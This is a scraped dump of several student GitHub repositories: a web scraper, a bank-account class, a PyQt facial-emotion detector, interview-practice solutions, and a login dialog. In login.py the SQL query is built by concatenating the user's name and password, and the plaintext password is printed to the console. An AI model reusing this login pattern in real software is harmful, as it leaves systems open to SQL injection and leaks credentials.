inputs_path = './images2/'\n outputs_path = './split_images/'\n slide_window_split(inputs_path, outputs_path)\n\n # 原始图片个数\n # print('origin number:{}'.format(list_origin_number('./images/')))\n\n # 将原始图像移动到两个文件夹,方便后续处理\n # move_origin_images('./images/', './images1/', './images2/')\n\n # 输出分割后各类别有多少张图像,以及总共的图像数量\n # path = './split_images/'\n # split_sum = list_split_number(path)\n\n # 输出移动到两个文件夹后的图像个数\n # list_origin_images('./images1/')\n # list_origin_images('./images2/')\n" } ]
1
ishansinghal9810/mlhScrapper
https://github.com/ishansinghal9810/mlhScrapper
9f2fcd5c40c5c551f92b696e5b08dcee4011ca92
bd32a03aab59e5026e097c02b3fabb931f309cb8
7047b9e21ac1eb46edbf24e91862716fbc07e93e
refs/heads/main
2023-02-16T20:12:57.503305
2021-01-16T23:17:40
2021-01-16T23:17:40
330,276,312
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7306034564971924, "alphanum_fraction": 0.7349137663841248, "avg_line_length": 29.933332443237305, "blob_id": "e35fc44747d6e15ced276ac3c22b9aa8fa33d87d", "content_id": "4ca502c517c6b58af0e4a04d6af8cef41995a8f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 464, "license_type": "no_license", "max_line_length": 89, "num_lines": 15, "path": "/scrapper.py", "repo_name": "ishansinghal9810/mlhScrapper", "src_encoding": "UTF-8", "text": "from bs4 import BeautifulSoup\nimport requests\nfrom pprint import pprint\n\nres = requests.get(\"https://localhackday.mlh.io/build#ChallengesD\").text\nsoup = BeautifulSoup(res, 'html.parser')\n\n\nchallenges = soup.select('div.event-title-bg > h3.hero-sub-head')\nchallenges_desc = soup.select(' div > div > div.event-description.w-richtext > p')\n\n\n\nfor i in range(len(challenges)):\n pprint({\"Title\":challenges[i].get_text(),\"description\":challenges_desc[i].get_text()})\n" }, { "alpha_fraction": 0.8035714030265808, "alphanum_fraction": 0.8035714030265808, "avg_line_length": 55, "blob_id": "0fbc8bb169279255fbbeba885029c7579ced0416", "content_id": "bbcac80bb5a9c8eb46838e63d91afa75bfd299af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 168, "license_type": "no_license", "max_line_length": 152, "num_lines": 3, "path": "/README.md", "repo_name": "ishansinghal9810/mlhScrapper", "src_encoding": "UTF-8", "text": "# mlhScrapper\n\nIt is a Web Scrapper for mlh localbuild website which i created during the Local Hack Build Challenge for fun and revised a little bit of python as well\n" } ]
2
aussiee/Facial-Emotion-Detection-IN-AUTUSTIC-CHILDREN
https://github.com/aussiee/Facial-Emotion-Detection-IN-AUTUSTIC-CHILDREN
b2ea161c5deed0ea90f006d87a667231997ee65c
f5f578cabfec060d496f6723c2143afb9bb66551
fac5b0cf34d73ea1f04898e99cd03a42d02a963b
refs/heads/main
2023-06-30T22:39:55.097175
2021-07-20T03:06:18
2021-07-20T03:06:18
387,656,479
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.48069241642951965, "alphanum_fraction": 0.4913448691368103, "avg_line_length": 23.413793563842773, "blob_id": "db88fc0fae98889f40310725a2cc5bb7c1916271", "content_id": "bc5ecf597498e371315e5de435c0f84617f0c25c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 751, "license_type": "no_license", "max_line_length": 46, "num_lines": 29, "path": "/pro/Sim_SV.py", "repo_name": "aussiee/Facial-Emotion-Detection-IN-AUTUSTIC-CHILDREN", "src_encoding": "UTF-8", "text": "import math\r\nimport random\r\nimport string\r\nimport numpy as np\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nimport numpy\r\nimport cv2\r\nfrom array import array\r\nfrom numpy import linalg as LA\r\n\r\ndef Calc_Wt(TRR,TST):\r\n WTRN = TRR\r\n M = []\r\n ERR = []\r\n for i in range(0, WTRN.shape[1]):\r\n #print(i,'\\n')\r\n RR = WTRN[:,i]\r\n WTST =TST[:]\r\n #print('TRAIN:1 \\n',np.shape(RR))\r\n #print('TEST:1 \\n',np.shape(WTST))\r\n Temp = np.subtract(WTST, RR)\r\n ERR = LA.norm(Temp)\r\n #print(ERR)\r\n M.append(ERR)\r\n ind = np.argmin(M);\r\n MM=np.min(M)\r\n ind=np.floor(ind/10)+1;\r\n return ind,MM\r\n \r\n\r\n \r\n" }, { "alpha_fraction": 0.5753614902496338, "alphanum_fraction": 0.6044215559959412, "avg_line_length": 29.19327735900879, "blob_id": "d224fee1078bb47ad055ebeb00d79b0ac0a6fbf0", "content_id": "bf129b04d0ae85b7a615dca8abcc05994d70c198", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7192, "license_type": "no_license", "max_line_length": 123, "num_lines": 238, "path": "/pro/MAIN_CODE.py", "repo_name": "aussiee/Facial-Emotion-Detection-IN-AUTUSTIC-CHILDREN", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\nimport tkinter\nfrom tkinter import filedialog\nfrom tkinter import messagebox \n\nimport pickle\nimport itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom PyQt4 import QtCore, QtGui\n\n\nimport math\nimport random\nimport string\nimport numpy as np\nfrom os import listdir\nfrom os.path import isfile, join\nimport numpy\nimport cv2\nfrom array import array\nfrom numpy import linalg as LA\nfrom Sim_SV import Calc_Wt\nimport time\n\ndef build_filters():\n filters = []\n ksize = 31\n for theta in np.arange(0, np.pi, np.pi / 16):\n kern = cv2.getGaborKernel((ksize, ksize), 4.0, theta, 10.0, 0.5, 0, ktype=cv2.CV_32F)\n kern /= 1.5*kern.sum()\n filters.append(kern)\n return filters\n \ndef process(img, filters):\n accum = np.zeros_like(img)\n for kern in filters:\n fimg = cv2.filter2D(img, cv2.CV_8UC3, kern)\n np.maximum(accum, fimg, accum)\n return accum\n\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Reds):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n #print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('TRUE CLASS')\n plt.xlabel('PREDICTED CLASS')\n plt.tight_layout()\n\n \nroot=tkinter.Tk()\nprint('******Start*****')\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_MainWindow1(object):\n \n\n def setupUii(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8(\"MainWindow\"))\n MainWindow.resize(1200, 800)\n MainWindow.setStyleSheet(_fromUtf8(\"\\n\"\"background-image: url(bg3.jpg);\\n\"\"\"))\n self.centralwidget = QtGui.QWidget(MainWindow)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(750, 180, 111, 27))\n self.pushButton.clicked.connect(self.quit)\n self.pushButton.setStyleSheet(_fromUtf8(\"background-color: rgb(255, 128, 0);\\n\"\n\"color: rgb(0, 0, 0);\"))\n \n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n#################################################################\n \n\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(550, 180, 131, 27))\n self.pushButton_2.clicked.connect(self.show1)\n self.pushButton_2.setStyleSheet(_fromUtf8(\"background-color: rgb(255, 128, 0);\\n\"\n\"color: rgb(0, 0, 0);\"))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n \n self.pushButton_4 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_4.setGeometry(QtCore.QRect(550, 220, 131, 27))\n self.pushButton_4.clicked.connect(self.show2)\n self.pushButton_4.setStyleSheet(_fromUtf8(\"background-color: rgb(255, 128, 0);\\n\"\n\"color: rgb(0, 0, 0);\"))\n self.pushButton_4.setObjectName(_fromUtf8(\"pushButton_4\"))\n \n \n\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n \n \n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Machine Attack \", None))\n self.pushButton_2.setText(_translate(\"MainWindow\", \"TEST\", None))\n self.pushButton_4.setText(_translate(\"MainWindow\", \"TRAIN\", None))\n self.pushButton.setText(_translate(\"MainWindow\", \"Exit\", None))\n\n def quit(self):\n print ('Process end')\n print ('******End******')\n quit()\n \n def show1(self):\n image_path= filedialog.askopenfilename(filetypes = ((\"BROWSE IMAGE\", \"*.jpg\"), (\"All files\", \"*\")))\n img=cv2.imread(image_path)\n #img=cv2.imread('TEST1/A (5).png')\n cv2.imshow('FACE IMAGE',img)\n cv2.waitKey(300)\n cv2.destroyAllWindows()\n\n # GRAY CONVERSION\n img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n cv2.imshow('GRAY IMAGE',img)\n cv2.waitKey(300)\n cv2.destroyAllWindows()\n \n # RESIZING\n img = cv2.resize(img,(224,224),1)\n cv2.imshow('RESIZED IMAGE',img)\n cv2.waitKey(300)\n cv2.destroyAllWindows()\n\n # MEDIAN FILTERED\n ROI= cv2.medianBlur(img,5)\n cv2.imshow('MEDIAN IMAGE',ROI)\n cv2.waitKey(300)\n cv2.destroyAllWindows()\n\n # ---------------------------------------------------------------------------\n # FEATURE EXTRACTION\n # 1]GABOR FEATURE EXTRACTION\n filters = build_filters()\n GF1 = process(ROI, filters)\n cv2.imshow('Extracted Texture',GF1)\n cv2.waitKey(300)\n cv2.destroyAllWindows()\n\n FV1=np.array(np.sum(GF1, axis = 0))\n FV2=np.array(np.sum(GF1, axis = 1))\n\n\n FV=np.concatenate([FV1[:],FV2[:]])\n FV=np.array(FV)\n\n print('Image features: \\n',np.shape(FV))\n Img=FV\n\n print('Image features: \\n',np.shape(Img))\n\n\n import pickle\n # LOAD \n file= open(\"Gnet.cnn\",'rb')\n TRR = pickle.load(file)\n file.close()\n\n\n IND,MM=Calc_Wt(TRR,Img)\n if IND==1:\n print('ANGRY\\n')\n elif IND==2:\n print('HAPPY\\n')\n elif IND==3:\n print('SAD\\n')\n\n\n \n \n def show2(self):\n file= open(\"TRNMDL.obj\",'rb')\n cnf_matrix = pickle.load(file)\n file.close()\n plt.figure()\n plot_confusion_matrix(cnf_matrix[0:2,0:2], classes=['Emotion','Normal'], normalize=True,title='Proposed Detection')\n plt.show()\n\n\n\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtGui.QApplication(sys.argv)\n MainWindow = QtGui.QMainWindow()\n ui = Ui_MainWindow1()\n ui.setupUii(MainWindow)\n MainWindow.move(550, 170)\n MainWindow.show()\n sys.exit(app.exec_())\n \n\n" }, { "alpha_fraction": 0.5988306999206543, "alphanum_fraction": 0.6190690398216248, "avg_line_length": 33.734375, "blob_id": "199fe9ac7f60100b3d72783b74a0663b3eecfff5", "content_id": "b2391a5399fe4138b3bac9ea4639423a64ba4154", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4447, "license_type": "no_license", "max_line_length": 96, "num_lines": 128, "path": "/pro/login.py", "repo_name": "aussiee/Facial-Emotion-Detection-IN-AUTUSTIC-CHILDREN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'login.ui'\n#\n# Created by: PyQt4 UI code generator 4.11.4\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\nimport sqlite3\nfrom MAIN_CODE import Ui_MainWindow1 as Ui_HomePage\nfrom PyQt4.QtGui import *\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Dialog(object):\n \n def UserHomeCheck(self):\n self.userHomeWindow=QtGui.QMainWindow()\n self.ui=Ui_HomePage()\n self.ui.setupUii(self.userHomeWindow)\n self.userHomeWindow.show()\n\n \n def loginCheck(self):\n username1=self.uname_lineEdit.text()\n username =str(username1)\n password1=self.pass_lineEdit.text()\n password = str(password1)\n print(\"password is:\"+password)\n connection=sqlite3.connect(\"multiD.db\")\n s=\"select *from userdetails where username='\"+username+\"' and password='\"+password+\"'\"\n print(\"query is:\"+s)\n result=connection.execute(s)\n if(len(result.fetchall())>0):\n print(\"user found!\")\n self.UserHomeCheck()\n\n else:\n print(\"user not fount!\")\n self.showmsg()\n \n def signupCheck(self):\n self.signUpShow()\n print(\"Signup button clicked !\")\n\n def showmsg(self):\n self.showdialog1()\n\n def showdialog1(self):\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n msg.setText(\"Login failed\")\n msg.setInformativeText(\"Please enter correct details \")\n msg.setWindowTitle(\"Status\")\n # msg.setDetailedText(\"The details are as follows:\")\n msg.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n\n retval = msg.exec_()\n print\n \"value of pressed message box button:\", retval\n\n def setinUi(self, Dialog):\n Dialog.setObjectName(_fromUtf8(\"Dialog\"))\n Dialog.resize(1200, 800)\n Dialog.setStyleSheet(_fromUtf8(\"background-image: url(rs.jpg); border: 2px solid blue\"))\n self.u_user_label = QtGui.QLabel(Dialog)\n self.u_user_label.setGeometry(QtCore.QRect(400, 150, 91, 31))\n self.u_user_label.setObjectName(_fromUtf8(\"u_user_label\"))\n self.pass_label = QtGui.QLabel(Dialog)\n self.pass_label.setGeometry(QtCore.QRect(400, 190, 81, 31))\n self.pass_label.setObjectName(_fromUtf8(\"pass_label\"))\n \n \n self.uname_lineEdit = QtGui.QLineEdit(Dialog)\n self.uname_lineEdit.setGeometry(QtCore.QRect(510, 149, 201, 31))\n self.uname_lineEdit.setText(_fromUtf8(\"\"))\n self.uname_lineEdit.setObjectName(_fromUtf8(\"uname_lineEdit\"))\n \n \n self.pass_lineEdit = QtGui.QLineEdit(Dialog)\n self.pass_lineEdit.setGeometry(QtCore.QRect(510, 190, 201, 31))\n self.pass_lineEdit.setObjectName(_fromUtf8(\"pass_lineEdit\"))\n self.pass_lineEdit.setEchoMode(QtGui.QLineEdit.Password)\n \n \n self.login_btn = QtGui.QPushButton(Dialog)\n self.login_btn.setGeometry(QtCore.QRect(510, 250, 201, 31))\n self.login_btn.setObjectName(_fromUtf8(\"login_btn\"))\n #####################Button Event####################################\n self.login_btn.clicked.connect(self.loginCheck)\n ####################################################################\n\n self.retranslateUi(Dialog)\n QtCore.QMetaObject.connectSlotsByName(Dialog)\n\n def retranslateUi(self, Dialog):\n Dialog.setWindowTitle(_translate(\"Dialog\", \"LOGIN FORM\", None))\n self.u_user_label.setText(_translate(\"Dialog\", \"NAME\", None))\n self.pass_label.setText(_translate(\"Dialog\", \"PASSWORD\", None))\n self.login_btn.setText(_translate(\"Dialog\", \"LOGIN TO SYSTEM\", None))\n\n \n def quit(self):\n print ('Process end')\n print ('******End******')\n quit()\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtGui.QApplication(sys.argv)\n Dialog = QtGui.QDialog()\n ui = Ui_Dialog()\n ui.setinUi(Dialog)\n Dialog.show()\n sys.exit(app.exec_())\n\n" } ]
3
jcambray10/BankAccount
https://github.com/jcambray10/BankAccount
4cae5fceccafcca8b23dae7a5b930a06e8f9f4ce
9a61485543ee1e61358348de6b426b02b03c3038
86c33f4ac4594c41a492dc5b87315ed9bb42367e
refs/heads/main
2023-07-13T01:59:42.111778
2021-08-28T23:47:51
2021-08-28T23:47:51
400,904,536
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6061588525772095, "alphanum_fraction": 0.6361426115036011, "avg_line_length": 29.09756088256836, "blob_id": "035edece6266dc2e324c9a3e749b2e0c937970d5", "content_id": "d14b09027cb8c323a8c66e8ccf27c93c8fe1a91e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1234, "license_type": "no_license", "max_line_length": 124, "num_lines": 41, "path": "/BankAccount.py", "repo_name": "jcambray10/BankAccount", "src_encoding": "UTF-8", "text": "class BankAccount:\n def __init__(self, rate, balance):\n self.int_rate = (rate * 0.01)\n self.balance = balance\n \n def deposit(self, amount):\n self.balance += amount\n return self\n\n def withdraw(self, amount):\n if self.balance < amount:\n print(\"Insufficient funds: Charging a $5 fee\")\n self.balance -= 5\n else:\n self.balance -= amount\n return self\n\n def display_account_info(self):\n print(f\"Balance: ${self.balance}\")\n\n def yield_interest(self):\n if self.balance > 0:\n interest_yielded = self.balance * self.int_rate\n self.balance += interest_yielded\n return self\n\nBucksFan = BankAccount(0.25, 0)\nCatalan = BankAccount(0.3, 0)\n\nBucksFan.deposit(100).deposit(25).deposit(25).withdraw(25).yield_interest().display_account_info()\nCatalan.deposit(200).deposit(50).withdraw(20).withdraw(50).withdraw(20).withdraw(50).yield_interest().display_account_info()\n\n# python BankAccount.py \n\n# echo \"# BankAccount\" >> README.md\n# git init\n# git add README.md\n# git commit -m \"first commit\"\n# git branch -M main\n# git remote add origin https://github.com/jcambray10/BankAccount.git\n# git push -u origin main\n" } ]
1
daigo0927/ctci-6th
https://github.com/daigo0927/ctci-6th
f52067b35e33ef95b1bfac9ac47daae91380ce09
e1f1b88c61ef55286610cf1c77880dbf53818b6c
3c4da8df48dba846b7561b08f58f0dcf03615877
refs/heads/master
2020-03-25T21:12:30.135389
2018-10-26T17:34:07
2018-10-26T17:34:07
144,164,882
0
1
null
2018-08-09T14:35:32
2018-08-09T19:22:42
2018-08-21T16:19:58
null
[ { "alpha_fraction": 0.6025692224502563, "alphanum_fraction": 0.6358891725540161, "avg_line_length": 27.632183074951172, "blob_id": "1e61413ee680e07d5b295279b7eb54464c1a15cb", "content_id": "1525cada8b2287bd75b7183c354bf59a59d7c5a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2491, "license_type": "no_license", "max_line_length": 79, "num_lines": 87, "path": "/chap4/Q12.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nfrom utils.tree import TreeNode\n\ndef count_paths_with_sum(root, sum_tar):\n \"\"\"\n Args:\n - TreeNode root\n - int sum_tar\n\n Returns:\n - int sum of paths\n \"\"\"\n if root is None:\n return 0\n\n # Count pats with sum starting from the root node\n paths_from_root = count_paths_with_sum_from_node(root, sum_tar, 0)\n # Try the nodes on the left and right\n paths_on_left = count_paths_with_sum(root.left, sum_tar)\n paths_on_right = count_paths_with_sum(root.right, sum_tar)\n\n return paths_from_root + paths_on_left + paths_on_right\n\ndef count_paths_with_sum_from_node(node, sum_tar, sum_cur):\n \"\"\"\n Args:\n - TreeNode node : starting node\n - int sum_tar : target sum\n - int sum_cur : current sum\n\n Returns\n - int paths_total : sum of total paths\n \"\"\"\n if node is None:\n return 0\n\n sum_cur += node.data\n\n paths_total = 0\n if sum_cur == sum_tar:\n paths_total += 1\n\n paths_total += count_paths_with_sum_from_node(node.left, sum_tar, sum_cur)\n paths_total += count_paths_with_sum_from_node(node.right, sum_tar, sum_cur)\n\n return paths_total\n\n\nif __name__ == '__main__':\n # Tree1\n root1 = TreeNode(5);\n root1.left = TreeNode(3)\n root1.right = TreeNode(1)\n root1.left.left = TreeNode(-8)\n root1.left.right = TreeNode(8)\n root1.right.left = TreeNode(2)\n root1.right.right = TreeNode(6)\n ans1 = count_paths_with_sum(root1, 0)\n print(f'Tree1 contains {ans1} of with {0} summation')\n\n # Tree2\n root2 = TreeNode(-7)\n root2.left = TreeNode(-7)\n root2.left.right = TreeNode(1)\n root2.left.right.left = TreeNode(2)\n root2.right = TreeNode(7)\n root2.right.left = TreeNode(3)\n root2.right.right = TreeNode(20)\n root2.right.right.left = TreeNode(0)\n root2.right.right.left.left = TreeNode(-3)\n root2.right.right.left.left.right = TreeNode(2)\n root2.right.right.left.left.right.left = TreeNode(1)\n ans2 = count_paths_with_sum(root2, -14)\n print(f'Tree2 contains {ans2} of with {-14} summation')\n\n # Tree3\n root3 = TreeNode(0)\n root3.left = TreeNode(0)\n root3.right = TreeNode(0)\n root3.right.left = TreeNode(0)\n root3.right.left.right = TreeNode(0)\n root3.right.right = TreeNode(0)\n ans3 = count_paths_with_sum(root3, 0)\n ans4 = count_paths_with_sum(root3, 4)\n print(f'Tree3 contains {ans3} of with {0} summation')\n print(f'Tree3 contains {ans4} of with {4} summation')\n" }, { "alpha_fraction": 0.584022045135498, "alphanum_fraction": 0.6005509495735168, "avg_line_length": 19.742856979370117, "blob_id": "56ee808180aa9f21a82d5ed7b51f5615fa83e3e5", "content_id": "02cdfbd6450185e0b2c4790a024376c9cee7bba8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 960, "license_type": "no_license", "max_line_length": 82, "num_lines": 35, "path": "/chap2/Q3_remove_middle_node.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "\"\"\"\nこの問題が難しいのは、中間ノードだけ与えられたときにそれより前のノードが見えない点である。したがって中間ノードを削除するには中身自体を逐次書き換えなければいけない。\n\"\"\"\nfrom linkedlist import Node\n\n\ndef remove_this_node(node):\n n = node\n while n.next != None:\n n.data = n.next.data\n # 終端処理、最後のノードを一個消す。\n if n.next.next == None:\n n.next = None\n else:\n # 終端じゃない場合は次のノードの処理に\n n = n.next\n\n\nif __name__ == \"__main__\":\n ls = Node(1)\n ls.appendToTail(2)\n ls.appendToTail(3)\n ls.appendToTail(4)\n ls.appendToTail(5)\n ls.appendToTail(6)\n ls.appendToTail(7)\n ls.appendToTail(8)\n ls.appendToTail(9)\n ls.appendToTail(10)\n ls.printls()\n\n delnode = ls.get_Nth_node(5)\n remove_this_node(delnode)\n\n ls.printls()\n" }, { "alpha_fraction": 0.5443548560142517, "alphanum_fraction": 0.5766128897666931, "avg_line_length": 28.176469802856445, "blob_id": "656344ef945cd20cb18c439b7ae50032d810b038", "content_id": "20eb541c80ede47cf51dcd5513e21771f6680679", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 496, "license_type": "no_license", "max_line_length": 61, "num_lines": 17, "path": "/chap8/Q11.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def make_change(amount, denoms, index):\n if index >= len(denoms)-1:\n return 1\n denom_amount = denoms[index]\n ways = 0\n i = 0\n while i*denom_amount <= amount:\n amount_remain = amount - i*denom_amount\n ways += make_change(amount_remain, denoms, index+1)\n i += 1\n return ways\n\nif __name__ == '__main__':\n denoms = [25, 10, 5, 1]\n amount = 100\n ways = make_change(amount, denoms, 0)\n print(f'{amount} cents can be change by {ways} patterns')\n" }, { "alpha_fraction": 0.4271186292171478, "alphanum_fraction": 0.4813559353351593, "avg_line_length": 21.69230842590332, "blob_id": "35d13089d812c8cfcfa1ab5d9e9047786702dfbd", "content_id": "28a7dd38cafc76e583031d1c5048f6b5a80c5064", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 295, "license_type": "no_license", "max_line_length": 65, "num_lines": 13, "path": "/chap5/Q6.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def bit_swap_required(a, b):\n count = 0\n c = a^b\n while not c in [0, -1]:\n count += c&1\n c >>= 1\n return count\n\nif __name__ == '__main__':\n a = -23432\n b = 512132\n ans = bit_swap_required(a, b)\n print(f'{ans} bit required to convert {bin(a)} <-> {bin(b)}')\n" }, { "alpha_fraction": 0.810201108455658, "alphanum_fraction": 0.8195194005966187, "avg_line_length": 25.14102554321289, "blob_id": "49a4d359fb049f288c77412850aa4f05178d49f4", "content_id": "409e94e90d18066721a7cf3a97bdb105ae9694b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5115, "license_type": "no_license", "max_line_length": 73, "num_lines": 78, "path": "/chap4/README.md", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "# Chapter 4 : 木とグラフ\n\n## 木の種類\n木は根(root)ノードと子ノードを持つデータ構造である.閉路のない連結グラフとも言える.\n```\nclass Node{\n public String name;\n public Node[] children;\n}\n```\nが基本的なクラス定義である.\n\n### 二分木\n各ノードが最大2個の子を持つ木を二分木という.子ノードを持たないノード(木の末端)を葉ノードという.\n\n### 二分探索木\n二分探索木とは全てのノードが特定の並び順に従っているものである.\nこの並び順はノード直下の子だけでなく,その先の子孫全てに関して成立していなくてはならない.\n\n### 完全二分木,全二分木\n- Complete binary tree:最深ノード以外の全てのノードが満たされている木\n- Full binary tree:全てのノードが0個か2個の子を持つ木\n- Perfect binary tree:上二つ両方を満たす木.ほとんどない\n\n### 二分木の走査\n- In-Order (popular):左の枝→現在のノード→右の枝の順の走査.深さ優先探索.\n- Pre-Order:現在のノード→子ノード\n- Post-Order:子ノード→現在のノード.根を最後に訪れることになる.\n\n### 二分ヒープ\n(最小ヒープ)全てのノードが子ノードよりも小さい完全二分木(completeの方).根が最小値を持つ.\n\n要素の挿入と追加がO(logn)でできる.ダイクストラ法やプリム法など,値の追加と最小要素の取り出しが多い場合に有効.\n- 挿入:木の最後(最深部の最も右側)に値を追加.大小関係の変更がなくなるまで追加したノードと親ノードとの入れ替えを行う.\n- 最小要素の取り出し:取り出し自体は根の要素を取り出すだけ.その後ヒープの末尾(右下)の要素を根に移動させ,子ノードの小さい方と入れ替えていく.\n\n### トライ木\n各ノードの要素に文字を保持するn分木の一種.木の経路が単語を表す.接頭辞検索用に言語全体(英語)を保持する場合によく使われる(?).\n\n## グラフ\nノード(頂点)とそれを繋ぐエッジ(辺)からなるデータ構造.有向グラフと無向グラフがある.\n任意の2頂点間に経路が存在するグラフを連結グラフという.\nグラフは閉路を持つ場合や同じ頂点同士を別のエッジが結ぶ場合もある.\n\n### グラフの表現方法\n- 隣接リスト:全ての頂点に対して隣接する頂点のリストを保持する.\n- 隣接行列:頂点数x頂点数の行列を用意し,各要素に連結しているかしていないかを保持する.メモリを食う.\n\n### グラフ探索\n- 深さ優先探索(DFS: depth-first search):訪れるノードをスタックして管理する.\n- 幅優先探索(BFS: breadth-first search):訪れるノードをキューで管理する.ゴールがスタート近くにありそうな時に有効\n- 双方向探索:二つのノードの最短経路を見つけるのに使われる.二つのノードそれぞれから幅優先探索を行い,衝突したらそれが最短経路.\n\n## 問題\n#### 4.1 ノード間の経路\nDFSでもBFSでも可能.訪れたノードは管理して無限ループしないように.\n\n#### 4.2 最小の木\n中央値で分ける→分割する→を繰り返す.\n\n#### 4.3 深さのリスト\n探索時に現在の深さを管理して各連結リストを作成.\n\n#### 4.4 平衡チェック\n各ノードに対して部分木の高さを計算すれば良い.素直にやると高さの計算を重複して行いO(nlogn)になってしまう.\nルートから再帰的に降下しながら高さのチェックを行うとO(n)の時間計算量で可能.\n\n#### 4.5 BSTチェック\n- 解法1:In-Orderの探索:訪れた順に配列へコピーし,その配列がソートされているかを確認する.重複した値がある場合は適切に処理できない.\n配列を使わなくても,最後に調べた要素だけ保持しておき,それとの比較だけでも可能.\n- 解法2:min/max解法:二分探索木の定義はあるノードの値はそれより左側の全ノードの値より大きく,右側の全ノードの値より小さいこと.\nなので最小値と最大値を保持して,それと比較しながら木を降りていけばいい.\n\n#### 4.6 次のノード\nIn-Orderにおける「次」のノードは,現在のノードから見て右の最も手前(左)のノードである.\n現在のノードが右の部分木を持たない場合は,部分木の探索は終了しているので親ノードを調べる.\n現在のノードが親ノードの左なら,次のノードは親.右側なら訪れていない親まで遡る.\n上位ノードも全て探索済みの場合(in-orderの最後)はnullを返すようにする.丁寧に全パターンを想定することが必要.\n" }, { "alpha_fraction": 0.7543859481811523, "alphanum_fraction": 0.780701756477356, "avg_line_length": 27.5, "blob_id": "e37edcd48b3ae609cb0817f3c93d3ea5238d057c", "content_id": "6fa098c1862ecc7eff143710a3e2839df5fc928e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 126, "license_type": "no_license", "max_line_length": 68, "num_lines": 4, "path": "/README.md", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "# ctci-6th\nCracking the coding interviewをやる\n\n参考:[CtCi-6th-Edition](https://github.com/careercup/CtCI-6th-Edition)\n" }, { "alpha_fraction": 0.5437317490577698, "alphanum_fraction": 0.5801749229431152, "avg_line_length": 23.5, "blob_id": "d5043abc36e0f3e20d899e85b63f1cc891280aca", "content_id": "adbf40ea74b10eec7e9ad921a2280dc20ae8299b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 686, 